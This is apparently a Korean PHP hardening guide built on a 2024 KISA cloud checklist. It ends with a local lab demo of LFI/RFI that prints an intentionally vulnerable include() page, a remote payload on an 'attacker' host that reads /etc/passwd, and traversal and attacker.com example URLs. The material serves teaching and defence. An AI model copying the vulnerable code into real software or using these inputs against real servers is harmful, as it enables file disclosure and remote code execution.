[PHP] 보안 설정 진단

[2025-08-30 진단 과정 작성 완료됨]

본 보안 가이드는 KISA에서 업로드한 2024 클라우드 보안 진단 가이드를 토대로 작성합니다.

https://isms.kisa.or.kr/

직접 보안조치를 하는 과정이 포함되며,

보안 컨설팅을 다니며 경험했던 내용이 조금 들어갈 수 있습니다.

보안 취약점 진단 및 조치

KISA에서 제공한 2024 클라우드 진단 가이드 기반

보안 취약점 진단 및 조치

01. 오류 메시지 노출 [시작]

image.png

설명

고객사에서 웹 모의해킹을 하다보면 개발용 웹페이지, 관리자 페이지에서 흔하게 볼 수 있는 취약점이다.

디버깅에 편의성을 올리기 위해 오류를 웹 페이지에 출력하는 설정

기본 값

display_errors = Off -> 양호

예시

image.png

위의 예시는 어느 파일의 몇번째 줄에서 오류가 났는지 출력이 된다.

오류가 난 파일의 경로까지 확인이 가능하므로 설정을 꺼두는 것이 좋다.

조치 방법

01. PHP의 conf 파일 진입 -> php.ini 파일

image.png

02. display_erros = Off 로 변경

image.png







보안 취약점 진단 및 조치

02. 불필요한 헤더 정보 노출

image.png

설명

웹 모의해킹 시 프록시 툴을 사용하여 응답 값을 확인할 때가 많은데 웹서버의 버전 정보가 노출되는 경우가 있다.

php 8.3, nginx 1.27 처럼 EOS가 되지 않은 안전한 버전이라고 하더라도

보안 조치의 기본은 공격 범위를 줄이는 것이기 때문에 불필요하게 정보를 제공할 필요가 없다.

EOS 확인용 페이지

버전을 특정할 수 있다는 것은 해당 버전의 공개된 취약점을 사용해 볼 수 있다는 의미이기 때문에 조치가 필요하다.

기본 값

스크린샷 2025-08-29 235944.png

기본값은 expose_php = On -> 취약

* 버전정보를 노출하는 설정은 보통 기본적으로 활성화가 되어있는듯 하다.

딴소리

ExploitDB 라는 페이지가 존재하며 서비스들의 공개된 취약점들이 정리되어 있다.

아직 해당 페이지의 정보로 직접 exploit을 해본적은 없어서 기회가 된다면 공부해볼 예정

image.png

조치 방법

01. php 설정 파일 진입

image.png

02. expose_php 항목 Off 로 변경

image.png





보안 취약점 진단 및 조치

03. 외부 URL 파일 인클루드 비활성화

image.png

설명

개발언어는 보통 다른 파일들을 불러와 사용할 수 있다. 파이썬의 import 혹은 php의 include 등등...

외부에서 만들어 놓은 php 파일을 URL에 삽입하였을때 별다른 제한 없이 실행이 될 경우 치명적인 공격이 가능하기 때문에

해당 설정을 Off 로 바꿔주어야한다.

딴소리

관련된 취약점으로는 LFI 와 RFI 가 있다. (현재 취약점의 경우 RFI 가 해당)

LFI = Local File Inclusion

RFI = Remote File Inclusion

LFI, RFI 의 차이는 Local, Remote 그러니까 로컬에 있는 파일을 불러올지, 외부 파일을 불러올지의 차이라고 볼 수 있겠다.

RFI의 경우 외부 공격자 서버의 php 파일, ex. 'http://attacker.com/attack.php" 를 피해자 URL 파라미터에 삽입하여 실행을 시키도록 한다는건데

뭔가 시연해보고 싶으니까 별도로 서버를 구현해봐야겠다.

기본 값

image.png

기본 값으로는 활성화가 되어 있음 -> 취약

조치 방법

01. php config 파일로 접근

image.png

02. allow_url_fopen 을 검색 후 Off 로 수정

image.png




보안 취약점 진단 및 조치

04. 불필요한 명령어 사용 제한

image.png

설명

웹 페이지 중에 명령어를 입력할 수 있는 칸이 있다면 공격자가 악의적인 명령어를 입력할 수 있으므로 비활성화 해주어야 한다.

단순한 예제로 Command injection 공격을 시연할 수 있는 CTF 등이 많다.

딴소리

정말 특이한 케이스가 아닌 이상 서버의 명령어를 그대로 실행하는 입력창을 웹 사이트에 구현하는 일은 없다.

그치만 웹 모의해킹을 하다보면 웹 페이지 상에는 보이지 않게 hidden으로 가려져있거나, 파라미터에 실행할 명령어가 들어가 있을 수 있으므로

사용하지 않는게 제일 좋겠다.

아니면 실행할 명령어를 화이트리스트로 관리하거나..

기본 값

image.png

disable_functions 설정 값 존재하지 않음 -> 취약

조치 방법

01. php config 파일 진입

image.png

아래 비고에 포함된 명령어들을 참고하여 php 파일에 disable_functions 설정 값 추가

* 외부에서 명령어가 들어오지 못하는 환경이라면 안전하다고 생각할 수 있지만, 보안 조치의 주 목적은 공격표면 줄이기에 있다.

image.png


image.png



보안 취약점 진단 및 조치

05. PHP 실행 경로 제한

image.png

설명

웹 서비스 진단 시에도 있는 path traversal 취약점 관련 설정이다.

http://localhost/home.html 이라는 경로가 존재할 경우, 상위 디렉터리로 이동하여

웹 서버 내부 경로를 벗어나 시스템 파일을 확인 할 수 있는 취약점이다.

apache를 예시로 들 경우 위 home.html 파일은 (시스템 자체에서)

/var/www/html/home.html

이라는 경로에 존재한다.

html이라는 디렉터리가 웹 서버측에선 최상위(root) 디렉터리여야 하지만 해당 설정이 되어있지 않으면

../../../../ 같은 상위 디렉터리로 이동하는 명령어를 통해 시스템 내부 파일로 접근이 가능하다.

ex. http://localhost/../../../../../../../etc/passwd

* 말이 또 길어지네; 이러려고 만든 페이지가 아니니까 설명은 여기까지만 쓰는걸로

기본 값

image.png

open_basedir 설정이 주석처리되어 있음 -> 취약

딴소리

모의해킹 프로젝트를 진행하다보면 의외로 한두번씩 나오는 취약점

image.png

php config에서는 ; 가 주석으로 처리되는데

2024 가이드에선 조치방법 과정에서 주석을 안지웠다.

조치 방법

01. php Config 파일 접근

image.png

02. 웹 서버의 루트 디렉터리를 설정 값에 추가

image.png

* 경로를 여러개 지정 할 시 :(콜론) 사용,

ex. /var/www:/tmp -> /var/www 과 /tmp 지정




보안 취약점 진단 및 조치

06. 최신 보안 패치 적용 [마무리]

image.png

설명

거의 대부분의 자산 종류에서 마지막을 장식하는 항목

EOS를 확인하여 보안패치를 지원하고 있는 버전인지 확인을 한다.

딴소리

단순히 서버 업데이트만 하면 조치가 되지 않느냐 싶겠지만, 업데이트 시의 서비스 영향도를 고려하여야 하기 떄문에

회사 입장에선 섣불리 업그레이드를 하기 힘들다.

그래서 의외로 되게 많이 나오는 취약점 항목

EOS 를 확인할 수 있는 페이지가 존재하여 보안패치를 지원하는지 확인 후 진단하자.

EOS 확인 페이지 : https://endoflife.date/

기본 값

해당 사항 없음

조치 방법

image.png

보안 패치 지원 부분은 Security Support 컬럼을 확인하면 된다.

서비스 영향도를 고려하여 최신 업데이트를 진행하거나,

시스템 운영상 적용이 어려운 경우 최신이 아니더라도 공개 취약점이 존재하지 않는 버전을 사용할 수 있도록 한다.






취약점 시연

해당 서비스의 취약점들을 시연합니다.

취약점 시연

LFI / RFI 취약점 시연


설명

php와 apache2를 사용하여 LFI / RFI 취약점을 시연한다.


LFI = Local File Inclusion

RFI = Remote File Inclusion


LFI 시연 환경

Ubuntu - 24.04.3

PHP - 8.3.6

Apache - 2.4.58

IP - 172.30.1.68 [웹 서버]

LFI 취약한 코드

진입할 파일 명 - lfiPhp.php

<?php
// RFI 취약점이 있는 코드 (교육용)
if (isset($_GET['page'])) {
    $file = $_GET['page'];
    // 사용자 입력을 검증하지 않고 바로 include
    include($file);
} else {
    echo "페이지가 지정되지 않았습니다.";
}
?>

첨부할 파일 명 - test.php

*첨부할 파일은 웹서버 안에 존재한다.

* 파일이 실행될 경우 소스코드가 그대로 드러나는 것이 아닌 "php run test 7" 이라는 값만 출력될 것

<?php
$number1 = 3;
$number2 = 4;
$sum = $number1 + $number2;
echo "php run test $sum";
?>

LFI 취약점 시연

1. 위의 취약점 파일 코드를 작성 후 진입

* 참조된 파일이 없으므로 페이지가 지정되지 않았다고 출력

image.png

2. page 파라미터를 통해 test.php 파일을 요청에 포함해 전송할 경우 php 코드가 실행되어 출력됨을 확인

image.png

3. /etc/passwd 파일또한 출력이 가능 (로컬에 있는 파일들을 포함하여 php 코드가 실행)

image.png

4. 권한에 없는 파일의 경우 그냥 공백 출력 (/etc/shadow)

image.png



RFI 시연 환경

Ubuntu - 24.04.3

PHP - 8.3.6

Apache - 2.4.58

IP - 172.30.1.68 [웹 서버]

IP - 172.30.1.14 [공격자]


php 설정을 한가지 바꿔주어야 한다.

LFI 를 시연할 때 php.ini 파일의 allow_url_fopen 설정은 기본적으로 활성화가 되어있지만


RFI를 시연하기 위해서는 allow_url_include 부분을 Off 에서 On 으로 바꿔줘야한다.

image.png

* 처음엔 /etc/php/8.3/cli/php.ini 파일을 수정했는데 제대로 시연이 안되었었다.

** apache2를 통해 웹 서버를 띄워서 /etc/php/8.3/apache2/php.ini 경로의 php.ini 파일을 수정해줬더니 시연이 정상적으로 이뤄졌다.

RFI 취약한 코드

진입용 페이지 코드 [웹 서버에 생성]

파일 경로 : http://172.30.1.68/rfiPhp.php?page=

<?php
// RFI 취약점이 있는 코드 (교육용)
if (isset($_GET['page'])) {
    $file = $_GET['page'];
    // 사용자 입력을 검증하지 않고 바로 include
    include($file);
} else {
    echo "페이지가 지정되지 않았습니다.";
}
?>


삽입용 페이지 코드 [공격자 PC에 생성]

파일 경로 : http://172.30.1.14:8080/html/RFI.php

<?php
echo "hello world";
?>


RFI 취약점 시연

*이전과 다르게 Local 상이 아닌 외부의 파일을 삽입하여 실행하도록 설정해볼 것이다.

01. LFI와 동일하게 별도 파일을 삽입하지 않을경우 출력되는 페이지

image.png

02. 외부 파일의 경로를 피해자의 파라미터에 첨부하여 전송

*php 파일이 실행되어 hello world가 출력됨음 확인

image.png

03. RFI.php 파일을 /etc/passwd 파일을 출력하는 코드로 변경 후 다시 시도

<?php
// /etc/passwd 파일 읽기 (교육용, 로컬 테스트 환경에서만 사용)
$file = '/etc/passwd';
if (file_exists($file) && is_readable($file)) {
    $content = file_get_contents($file);
    echo "<pre>" . htmlspecialchars($content) . "</pre>";
} else {
    echo  "출력 실패.";
}
?>

image.png